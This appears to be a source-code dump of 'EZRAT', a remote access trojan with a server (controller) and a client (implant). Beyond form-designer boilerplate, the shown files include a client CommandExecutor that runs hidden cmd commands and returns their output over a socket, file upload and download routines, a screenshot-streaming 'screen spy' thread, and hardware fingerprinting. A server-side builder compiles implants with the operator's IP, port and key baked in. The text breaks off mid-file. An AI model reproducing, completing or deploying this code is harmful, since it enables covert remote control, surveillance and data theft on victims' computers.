((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) 81 | | System.Windows.Forms.AnchorStyles.Left) 82 | | System.Windows.Forms.AnchorStyles.Right))); 83 | this.btnGet.BackColor = System.Drawing.Color.LightGray; 84 | this.btnGet.FlatStyle = System.Windows.Forms.FlatStyle.Flat; 85 | this.btnGet.Location = new System.Drawing.Point(518, 265); 86 | this.btnGet.Name = "btnGet"; 87 | this.btnGet.Size = new System.Drawing.Size(75, 25); 88 | this.btnGet.TabIndex = 4; 89 | this.btnGet.Text = "Get"; 90 | this.btnGet.UseVisualStyleBackColor = false; 91 | // 92 | // Chat 93 | // 94 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 95 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 96 | this.BackColor = System.Drawing.Color.DarkGray; 97 | this.ClientSize = new System.Drawing.Size(597, 290); 98 | this.Controls.Add(this.btnGet); 99 | this.Controls.Add(this.btnSend); 100 | this.Controls.Add(this.tbxMsg); 101 | this.Controls.Add(this.rtbMsg); 102 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 103 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 104 | this.MaximizeBox = false; 105 | this.Name = "Chat"; 106 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; 107 | this.Text = "Chat"; 108 | this.ResumeLayout(false); 109 | this.PerformLayout(); 110 | 111 | } 112 | 113 | #endregion 114 | 115 | private System.Windows.Forms.RichTextBox rtbMsg; 116 | private System.Windows.Forms.TextBox tbxMsg; 117 | private System.Windows.Forms.Button btnSend; 118 | private System.Windows.Forms.Button btnGet; 119 | } 120 | } -------------------------------------------------------------------------------- /EZRATServer/Forms/MessageBoxEditor.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace EZRATServer 2 | { 3 | partial class MessageBoxEditor 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(MessageBoxEditor)); 32 | this.lblTitle = new System.Windows.Forms.Label(); 33 | this.lblText = new System.Windows.Forms.Label(); 34 | this.tbxTitle = new System.Windows.Forms.TextBox(); 35 | this.rtbText = new System.Windows.Forms.RichTextBox(); 36 | this.btnValidate = new System.Windows.Forms.Button(); 37 | this.pnlIcon = new System.Windows.Forms.Panel(); 38 | this.cmbIcon = new System.Windows.Forms.ComboBox(); 39 | this.SuspendLayout(); 40 | // 41 | // lblTitle 42 | // 43 | this.lblTitle.AutoSize = true; 44 | this.lblTitle.Location = new System.Drawing.Point(11, 9); 45 | this.lblTitle.Name = "lblTitle"; 46 | this.lblTitle.Size = new System.Drawing.Size(36, 13); 47 | this.lblTitle.TabIndex = 0; 48 | this.lblTitle.Text = "Title : "; 49 | // 50 | // lblText 51 | // 52 | this.lblText.AutoSize = true; 53 | this.lblText.Location = new System.Drawing.Point(10, 56); 54 | this.lblText.Name = "lblText"; 55 | this.lblText.Size = new System.Drawing.Size(37, 13); 56 | this.lblText.TabIndex = 1; 57 | this.lblText.Text = "Text : "; 58 | // 59 | // tbxTitle 60 | // 61 | this.tbxTitle.Location = new System.Drawing.Point(14, 29); 62 | this.tbxTitle.Name = "tbxTitle"; 63 | this.tbxTitle.Size = new System.Drawing.Size(286, 20); 64 | this.tbxTitle.TabIndex = 2; 65 | // 66 | // rtbText 67 | // 68 | this.rtbText.Location = new System.Drawing.Point(13, 75); 69 | this.rtbText.Name = "rtbText"; 70 | this.rtbText.Size = new System.Drawing.Size(286, 96); 71 | this.rtbText.TabIndex = 3; 72 | this.rtbText.Text = ""; 73 | // 74 | // btnValidate 75 | // 76 | this.btnValidate.Location = new System.Drawing.Point(331, 148); 77 | this.btnValidate.Name = "btnValidate"; 78 | this.btnValidate.Size = new System.Drawing.Size(75, 23); 79 | this.btnValidate.TabIndex = 4; 80 | this.btnValidate.Text = "OK"; 81 | this.btnValidate.UseVisualStyleBackColor = true; 82 | // 83 | // pnlIcon 84 | // 85 | this.pnlIcon.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; 86 | this.pnlIcon.Location = new System.Drawing.Point(331, 75); 87 | this.pnlIcon.Name = "pnlIcon"; 88 | this.pnlIcon.Size = new System.Drawing.Size(47, 40); 89 | this.pnlIcon.TabIndex = 5; 90 | // 91 | // cmbIcon 92 | // 93 | this.cmbIcon.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; 94 | this.cmbIcon.FormattingEnabled = true; 95 | this.cmbIcon.Location = new System.Drawing.Point(317, 29); 96 | this.cmbIcon.Name = "cmbIcon"; 97 | this.cmbIcon.Size = new System.Drawing.Size(121, 21); 98 | this.cmbIcon.TabIndex = 6; 99 | // 100 | // MessageBoxEditor 101 | // 102 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 103 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 104 | this.ClientSize = new System.Drawing.Size(452, 207); 105 | this.Controls.Add(this.cmbIcon); 106 | this.Controls.Add(this.pnlIcon); 107 | this.Controls.Add(this.btnValidate); 108 | this.Controls.Add(this.rtbText); 109 | this.Controls.Add(this.tbxTitle); 110 | this.Controls.Add(this.lblText); 111 | this.Controls.Add(this.lblTitle); 112 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; 113 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 114 | this.MaximizeBox = false; 115 | this.MinimizeBox = false; 116 | this.Name = "MessageBoxEditor"; 117 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; 118 | this.Text = "MessageBoxEditor"; 119 | this.ResumeLayout(false); 120 | this.PerformLayout(); 121 | 122 | } 123 | 124 | #endregion 125 | 126 | private System.Windows.Forms.Label lblTitle; 127 | private System.Windows.Forms.Label lblText; 128 | private System.Windows.Forms.TextBox tbxTitle; 129 | private System.Windows.Forms.RichTextBox rtbText; 130 | private System.Windows.Forms.Button btnValidate; 131 | private System.Windows.Forms.Panel pnlIcon; 132 | private System.Windows.Forms.ComboBox cmbIcon; 133 | } 134 | } -------------------------------------------------------------------------------- /EZRATClient/Forms/Chat.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /EZRATServer/Forms/Starting.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /EZRATServer/Forms/NameUpload.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /EZRATServer/Forms/RenameFile.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /EZRATServer/Utils/ImageContextMenu.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | False 122 | 123 | -------------------------------------------------------------------------------- /EZRATClient/Core/CommandExecutor.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Runtime.InteropServices; 8 | using EZRATClient.Utils; 9 | using System.Threading; 10 | using System.Drawing.Imaging; 11 | using System.Net.Sockets; 12 | 13 | namespace EZRATClient.Core 14 | { 15 | public static class CommandExecutor 16 | { 17 | public static void ExecuteCommand(string command, string path = "C:\\") 18 | { 19 | ProcessStartInfo procStartInfo = new ProcessStartInfo("cmd", "/C " + command); 20 | 21 | procStartInfo.RedirectStandardOutput = true; 22 | procStartInfo.UseShellExecute = false; 23 | procStartInfo.CreateNoWindow = true; 24 | procStartInfo.WorkingDirectory = path; 25 | System.Diagnostics.Process proc = new System.Diagnostics.Process(); 26 | proc.StartInfo = procStartInfo; 27 | proc.Start(); 28 | string result = proc.StandardOutput.ReadToEnd(); 29 | Program.SendCommand("cmd;" + path + ";" + result); 30 | } 31 | 32 | 33 | 34 | public static void ReceiveFile(string path) 35 | { 36 | if (path == "" || path == null) 37 | { 38 | path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Song.wav"; 39 | } 40 | int size = 1024; 41 | long sizeFile = 0, tot = 0; 42 | FileStream fs = new FileStream(path, FileMode.Create); 43 | NetworkStream ns = new NetworkStream(Program._clientSocket); 44 | try 45 | { 46 | byte[] data = new byte[size]; 47 | bool loop_break = true; 48 | ns.ReadTimeout = 2000; 49 | do 50 | { 51 | int nb = ns.Read(data, 0, size); 52 | fs.Write(data, 0, nb); 53 | fs.Flush(); 54 | tot += (uint)nb; 55 | if (nb == -1) 56 | { 57 | loop_break = false; 58 | } 59 | } while (loop_break); 60 | } 61 | catch (IOException ex) 62 | { 63 | Console.WriteLine($"Total data write : {tot}"); 64 | fs.Close(); 65 | ns.Close(); 66 | Program.SendCommand("upfilestop;"); 67 | return; 68 | } 69 | } 70 | 71 | 72 | private static byte[] CreateDataPacket(byte[] cmd, byte[] data) 73 | { 74 | byte[] initialize = new byte[1]; 75 | initialize[0] = 2; 76 | byte[] separator = new byte[1]; 77 | separator[0] = 4; 78 | byte[] datalength = Encoding.UTF8.GetBytes(Convert.ToString(data.Length)); 79 | MemoryStream ms = new MemoryStream(); 80 | ms.Write(initialize, 0, initialize.Length); 81 | ms.Write(cmd, 0, cmd.Length); 82 | ms.Write(datalength, 0, datalength.Length); 83 | ms.Write(separator, 0, separator.Length); 84 | ms.Write(data, 0, data.Length); 85 | return ms.ToArray(); 86 | } 87 | 88 | public static byte[] ReadStream(NetworkStream ns) 89 | { 90 | byte[] data_buff = null; 91 | 92 | int b = 0; 93 | String buff_length = ""; 94 | while ((b = ns.ReadByte()) != 4) 95 | { 96 | buff_length += (char)b; 97 | } 98 | int data_length = Convert.ToInt32(buff_length); 99 | data_buff = new byte[data_length]; 100 | int byte_read = 0; 101 | int byte_offset = 0; 102 | while (byte_offset < data_length) 103 | { 104 | byte_read = ns.Read(data_buff, byte_offset, data_length - byte_offset); 105 | byte_offset += byte_read; 106 | } 107 | 108 | return data_buff; 109 | } 110 | 111 | public static void SendFile(string path) 112 | { 113 | if (!Program._clientSocket.Connected) //If the client isn't connected 114 | { 115 | Console.WriteLine("Socket is not connected!"); 116 | return; //Return 117 | } 118 | 119 | 120 | string file_name = Path.GetFileName(path); 121 | int size = 1024; 122 | uint tot = 0; 123 | FileStream fs = new FileStream(path, FileMode.Open); 124 | NetworkStream ns = new NetworkStream(Program._clientSocket); 125 | byte[] data = new byte[size]; 126 | while (tot < fs.Length) 127 | { 128 | fs.Read(data, 0, size); 129 | tot += (uint)data.Length; 130 | ns.Write(data, 0, size); 131 | } 132 | Console.WriteLine($"Total data : {tot}"); 133 | fs.Close(); 134 | } 135 | 136 | public static void WindowsControl(string command) 137 | { 138 | ProcessStartInfo procStartInfo = new ProcessStartInfo("cmd", "/C " + command); 139 | procStartInfo.RedirectStandardOutput = false; 140 | procStartInfo.UseShellExecute = false; 141 | procStartInfo.CreateNoWindow = true; 142 | System.Diagnostics.Process proc = new System.Diagnostics.Process(); 143 | proc.StartInfo = procStartInfo; 144 | proc.Start(); 145 | } 146 | 147 | 148 | // For futur use 149 | public static Thread ScreenSpyThread() 150 | { 151 | Constantes.Spy = new Thread(() => 152 | { 153 | while (true) 154 | { 155 | string tmp = "screenspy;" + TakeScreenShot(); 156 | Program.SendCommand(tmp); 157 | Thread.Sleep(Constantes.ScreenShotSpeed); 158 | } 159 | }); 160 | Constantes.Spy.Start(); 161 | return Constantes.Spy; 162 | } 163 | 164 | unsafe public static void StopScreenSpyThread() 165 | { 166 | Constantes.Spy.Abort(); 167 | } 168 | 169 | public static string TakeScreenShot() 170 | { 171 | string result = null; 172 | using (MemoryStream ms = new MemoryStream()) 173 | { 174 | ScreenUtils.ScreenShot().Save(ms, ImageFormat.Png); 175 | result = Encoding.Default.GetString(ms.ToArray()); 176 | } 177 | return result; 178 | } 179 | 180 | 181 | } 182 | } 183 | -------------------------------------------------------------------------------- /EZRATClient/Utils/SystemInfoDetails.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Management; 5 | using System.Net; 6 | using System.Net.NetworkInformation; 7 | using System.Net.Sockets; 8 | using System.Text; 9 | 10 | namespace EZRATClient.Utils 11 | { 12 | class SystemInfoDetails 13 | { 14 | 15 | public static string GetBiosIdentifier() 16 | { 17 | try 18 | { 19 | string biosIdentifier = string.Empty; 20 | string query = "SELECT * FROM Win32_BIOS"; 21 | 22 | using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) 23 | { 24 | foreach (ManagementObject mObject in searcher.Get()) 25 | { 26 | biosIdentifier = mObject["Manufacturer"].ToString(); 27 | break; 28 | } 29 | } 30 | 31 | string tmp = "Bios : "; 32 | tmp += (!string.IsNullOrEmpty(biosIdentifier)) ? biosIdentifier : "N/A"; 33 | return tmp; 34 | } 35 | catch 36 | { 37 | } 38 | 39 | return "Unknown"; 40 | } 41 | 42 | public static string GetMainboardIdentifier() 43 | { 44 | try 45 | { 46 | string mainboardIdentifier = string.Empty; 47 | string query = "SELECT * FROM Win32_BaseBoard"; 48 | 49 | using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) 50 | { 51 | foreach (ManagementObject mObject in searcher.Get()) 52 | { 53 | mainboardIdentifier = mObject["Manufacturer"].ToString() + mObject["SerialNumber"].ToString(); 54 | break; 55 | } 56 | } 57 | 58 | string tmp = "Mainboard : "; 59 | tmp += (!string.IsNullOrEmpty(mainboardIdentifier)) ? mainboardIdentifier : "N/A"; 60 | return tmp; 61 | } 62 | catch 63 | { 64 | } 65 | 66 | return "Unknown"; 67 | } 68 | 69 | public static string GetCpuName() 70 | { 71 | try 72 | { 73 | string cpuName = string.Empty; 74 | string query = "SELECT * FROM Win32_Processor"; 75 | 76 | using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) 77 | { 78 | foreach (ManagementObject mObject in searcher.Get()) 79 | { 80 | cpuName += mObject["Name"].ToString() + "; "; 81 | } 82 | } 83 | cpuName = cpuName.Substring(0, cpuName.Length - 1); 84 | string tmp = "CPU : "; 85 | tmp += (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A"; 86 | return tmp; 87 | } 88 | catch 89 | { 90 | 91 | } 92 | 93 | return "Unknown"; 94 | } 95 | 96 | public static string GetTotalRamAmount() 97 | { 98 | try 99 | { 100 | double installedRAM = 0; 101 | string query = "Select * From Win32_ComputerSystem"; 102 | 103 | using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) 104 | { 105 | foreach (ManagementObject mObject in searcher.Get()) 106 | { 107 | double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"])); 108 | installedRAM = bytes; 109 | break; 110 | } 111 | } 112 | string tmp = $"RAM : {ToolBox.ReduceByteSize(installedRAM.ToString())}"; 113 | return tmp; 114 | } 115 | catch 116 | { 117 | return "RAM : 0"; 118 | } 119 | } 120 | 121 | public static string GetGpuName() 122 | { 123 | try 124 | { 125 | string gpuName = string.Empty; 126 | string query = "SELECT * FROM Win32_DisplayConfiguration"; 127 | 128 | using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) 129 | { 130 | foreach (ManagementObject mObject in searcher.Get()) 131 | { 132 | gpuName += mObject["Description"].ToString() + "; "; 133 | } 134 | } 135 | string tmp = "GPU : "; 136 | gpuName = gpuName.Substring(0, gpuName.Length - 1); 137 | 138 | tmp += (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A"; 139 | return tmp; 140 | } 141 | catch 142 | { 143 | return "Unknown"; 144 | } 145 | } 146 | 147 | public static string GetLanIp(bool onlyIp = false) 148 | { 149 | foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) 150 | { 151 | GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault(); 152 | if (gatewayAddress != null) //exclude virtual physical nic with no default gateway 153 | { 154 | if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || 155 | ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet && 156 | ni.OperationalStatus == OperationalStatus.Up) 157 | { 158 | foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses) 159 | { 160 | if (ip.Address.AddressFamily != AddressFamily.InterNetwork || 161 | ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses 162 | continue; 163 | 164 | return (onlyIp)? ip.Address.ToString():$"IP : {ip.Address.ToString()}"; 165 | } 166 | } 167 | } 168 | } 169 | 170 | return "-"; 171 | } 172 | 173 | public static string GetMacAddress() 174 | { 175 | foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) 176 | { 177 | if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || 178 | ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet && 179 | ni.OperationalStatus == OperationalStatus.Up) 180 | { 181 | bool foundCorrect = false; 182 | foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses) 183 | { 184 | if (ip.Address.AddressFamily != AddressFamily.InterNetwork || 185 | ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses 186 | continue; 187 | 188 | var tmp = IPAddress.Parse(GetLanIp(true)); 189 | if (ip.Address.Address == tmp.Address) 190 | { 191 | foundCorrect = true; 192 | } 193 | } 194 | 195 | if (foundCorrect) 196 | { 197 | string addr = string.Empty; 198 | StringBuilder sb = new StringBuilder(ni.GetPhysicalAddress().ToString().ToUpper()); 199 | for (int i = 0; i < sb.Length; i+=2) 200 | { 201 | addr += $"{sb[i]}{sb[i + 1]}-"; 202 | } 203 | return $"MAC : {addr.Substring(0,addr.Length - 1)}"; 204 | } 205 | } 206 | } 207 | 208 | return "-"; 209 | } 210 | } 211 | } 212 | -------------------------------------------------------------------------------- /EZRATServer/Forms/ClientBuilder.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.CSharp; 2 | using System; 3 | using System.CodeDom.Compiler; 4 | using System.Collections.Generic; 5 | using System.ComponentModel; 6 | using System.Data; 7 | using System.Diagnostics; 8 | using System.Drawing; 9 | using System.IO; 10 | using System.Linq; 11 | using System.Net.NetworkInformation; 12 | using System.Net.Sockets; 13 | using System.Reflection; 14 | using System.Windows.Forms; 15 | 16 | namespace EZRATServer.Forms 17 | { 18 | public partial class ClientBuilder : Form 19 | { 20 | private bool _optionsAdvanced = false; 21 | private Size _normalSize = new Size(365, 310); 22 | private Size _advancedSize = new Size(675, 310); 23 | 24 | public bool OptionsAdvanced { get => _optionsAdvanced; set => _optionsAdvanced = value; } 25 | 26 | public ClientBuilder() 27 | { 28 | InitializeComponent(); 29 | this.tbxIP.Text = GetLanIp(); 30 | this.tbxOutput.Text = Environment.CurrentDirectory; 31 | this.btnBuild.Click += Builder; 32 | this.lblOptions.Click += AdvancedOptions; 33 | this.btnSearch.Click += SearchingBuild; 34 | this.btnSearchingClient.Click += SearchingClient; 35 | this.btnOutput.Click += SearchingOutput; 36 | this.Size = _normalSize; 37 | } 38 | 39 | 40 | private void SearchingOutput(object sender, EventArgs e) 41 | { 42 | 43 | FolderBrowserDialog fld = new FolderBrowserDialog(); 44 | fld.RootFolder = Environment.SpecialFolder.Desktop; 45 | if (fld.ShowDialog() == DialogResult.OK) 46 | { 47 | this.tbxOutput.Text = fld.SelectedPath; 48 | } 49 | } 50 | private void SearchingBuild(object sender, EventArgs e) 51 | { 52 | OpenFileDialog opf = new OpenFileDialog(); 53 | opf.Multiselect = false; 54 | opf.Filter = "MSBuild.exe|*.exe"; 55 | opf.Title = "MSBuilder searcher"; 56 | if (opf.ShowDialog() == DialogResult.OK) 57 | { 58 | this.tbxBuild.Text = opf.FileName; 59 | } 60 | } 61 | 62 | private void SearchingClient(object sender, EventArgs e) 63 | { 64 | OpenFileDialog opf = new OpenFileDialog(); 65 | opf.Multiselect = false; 66 | opf.InitialDirectory = Environment.CurrentDirectory; 67 | opf.Filter = "EZRATClient.csproj|EZRATClient.csproj"; 68 | opf.Title = "Client project searcher"; 69 | if (opf.ShowDialog() == DialogResult.OK) 70 | { 71 | this.tbxClientProj.Text = opf.FileName; 72 | } 73 | } 74 | 75 | 76 | private void AdvancedOptions(object sender, EventArgs e) 77 | { 78 | if (!OptionsAdvanced) 79 | { 80 | this.Size = _advancedSize; 81 | this.lblOptions.Text = "Options Advanced"; 82 | this.OptionsAdvanced = true; 83 | } 84 | else 85 | { 86 | this.Size = _normalSize; 87 | this.lblOptions.Text = "Options"; 88 | this.OptionsAdvanced = false; 89 | } 90 | } 91 | 92 | 93 | private string GetLanIp() 94 | { 95 | foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) 96 | { 97 | GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault(); 98 | if (gatewayAddress != null) //exclude virtual physical nic with no default gateway 99 | { 100 | if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || 101 | ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet && 102 | ni.OperationalStatus == OperationalStatus.Up) 103 | { 104 | foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses) 105 | { 106 | if (ip.Address.AddressFamily != AddressFamily.InterNetwork || 107 | ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses 108 | continue; 109 | 110 | return ip.Address.ToString(); 111 | } 112 | } 113 | } 114 | } 115 | 116 | return "-"; 117 | } 118 | 119 | 120 | 121 | 122 | // ..\..\..\..\EZRATClient\*.cs 123 | private void Builder(object sender, EventArgs e) 124 | { 125 | for (int i = 0; i < 2; i++) 126 | { 127 | EditConstantesClient(); 128 | Process proc = new Process(); 129 | proc.StartInfo.FileName = this.tbxBuild.Text; 130 | proc.StartInfo.WorkingDirectory = this.tbxClientProj.Text.Substring(0, this.tbxClientProj.Text.LastIndexOf("\\")); 131 | proc.StartInfo.Verb = $"/C /property:Configuration=Debug {this.tbxClientProj.Text}"; 132 | proc.StartInfo.UseShellExecute = false; 133 | proc.StartInfo.CreateNoWindow = true; 134 | proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; 135 | proc.StartInfo.RedirectStandardOutput = true; 136 | proc.Start(); 137 | while (!proc.StandardOutput.EndOfStream) 138 | { 139 | string line = proc.StandardOutput.ReadLine(); 140 | Console.WriteLine(line); 141 | } 142 | MoveClient(); 143 | ResetConstantesValue(); 144 | } 145 | MessageBox.Show($"The client {this.tbxName.Text} is created", "Client generated", MessageBoxButtons.OK, MessageBoxIcon.Information); 146 | this.Close(); 147 | } 148 | 149 | 150 | private void ResetConstantesValue() 151 | { 152 | string fileName = $@"{this.tbxClientProj.Text.Substring(0, this.tbxClientProj.Text.LastIndexOf("\\"))}\Utils\Constantes.cs"; 153 | string text = File.ReadAllText(fileName); 154 | text = text.Replace($"{this.tbxIP.Text}", "192.168.1.112"); 155 | text = text.Replace($"{this.tbxPort.Text}", "1234"); 156 | if (this.tbxScreenSpy.Text != string.Empty) 157 | text = text.Replace($"{this.tbxScreenSpy.Text}", "100"); 158 | if (this.tbxImageX.Text != string.Empty) 159 | text = text.Replace($"({this.tbxImageX.Text},{this.tbxImageY.Text})", "(1280,720)"); 160 | if (this.tbxKey.Text != string.Empty) 161 | text = text.Replace($"{this.tbxKey.Text}", "POULPE212123542345235"); 162 | File.WriteAllText(fileName, text); 163 | } 164 | 165 | private void EditConstantesClient() 166 | { 167 | string fileName = $@"{this.tbxClientProj.Text.Substring(0, this.tbxClientProj.Text.LastIndexOf("\\"))}\Utils\Constantes.cs"; 168 | string text = File.ReadAllText(fileName); 169 | text = text.Replace("192.168.1.112", $"{this.tbxIP.Text}"); 170 | text = text.Replace("1234", $"{this.tbxPort.Text}"); 171 | if (this.tbxScreenSpy.Text != string.Empty) 172 | text = text.Replace("100", $"{this.tbxScreenSpy.Text}"); 173 | if (this.tbxImageX.Text != string.Empty) 174 | text = text.Replace("(1280,720)", $"({this.tbxImageX.Text},{this.tbxImageY.Text})"); 175 | if (this.tbxKey.Text != string.Empty) 176 | text = text.Replace("POULPE212123542345235", $"{this.tbxKey.Text}"); 177 | File.WriteAllText(fileName, text); 178 | } 179 | 180 | 181 | private void MoveClient() 182 | { 183 | string path = $"{this.tbxClientProj.Text.Substring(0, this.tbxClientProj.Text.LastIndexOf("\\"))}\\bin\\Debug\\EZRATClient.exe"; 184 | string dest = this.tbxOutput.Text + tbxName.Text; 185 | if (File.Exists(dest)) 186 | { 187 | File.Delete(dest); 188 | File.Move(path,dest); 189 | } 190 | else 191 | File.Move(path, dest); 192 | } 193 | 194 | } 195 | } 196 | -------------------------------------------------------------------------------- /EZRATServer/Forms/FileBrowser.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using System.Windows.Forms; 10 | using EZRATServer.Network; 11 | using EZRATServer.Forms; 12 | using EZRATServer.Utils; 13 | using System.IO; 14 | using System.Net.Sockets; 15 | using System.Threading; 16 | 17 | namespace EZRATServer 18 | { 19 | public partial class FileBrowser : Form 20 | { 21 | 22 | 23 | const string STATUS_TEXT = "Number of files and folder : "; 24 | 25 | private int _id; 26 | 27 | public int Id 28 | { 29 | get { return _id; } 30 | set { _id = value; } 31 | } 32 | 33 | 34 | private string _pathDownload; 35 | 36 | 37 | 38 | public string PathDownload { get => _pathDownload; set => 